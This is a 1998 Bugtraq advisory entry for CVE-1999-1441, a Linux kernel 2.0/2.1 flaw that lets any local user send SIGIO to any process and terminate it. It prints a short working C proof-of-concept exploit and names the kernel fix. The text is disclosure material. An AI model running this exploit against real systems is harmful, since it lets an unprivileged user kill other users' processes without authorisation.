Multiple Vendor Linux SIGIO Vulnerability

Bugtraq ID:	111
Class:	Access Validation Error
CVE:	CVE-1999-1441
Remote:	No
Local:	No
Published:	Jun 30 1998 12:00AM
Updated:	Jul 11 2009 12:16AM
Credit:	The vulnerability was reported by David Luyer <[email protected]> to the BugTraq mailing list on Tue, 30 Jun 1998.
Vulnerable:	Linux kernel 2.1 Linux kernel 2.0
Not Vulnerable:

Multiple Vendor Linux SIGIO Vulnerability

A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.

This vulnerability affects Linux 2.0.3[1-4] and 2.1.101+.

Multiple Vendor Linux SIGIO Vulnerability

/* On non-glibc systems you must add
*
* #define O_ASYNC FASYNC
*/
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int s, p;

if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}

Multiple Vendor Linux SIGIO Vulnerability

Solution:
The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line number
is approximately 139.

Multiple Vendor Linux SIGIO Vulnerability

References: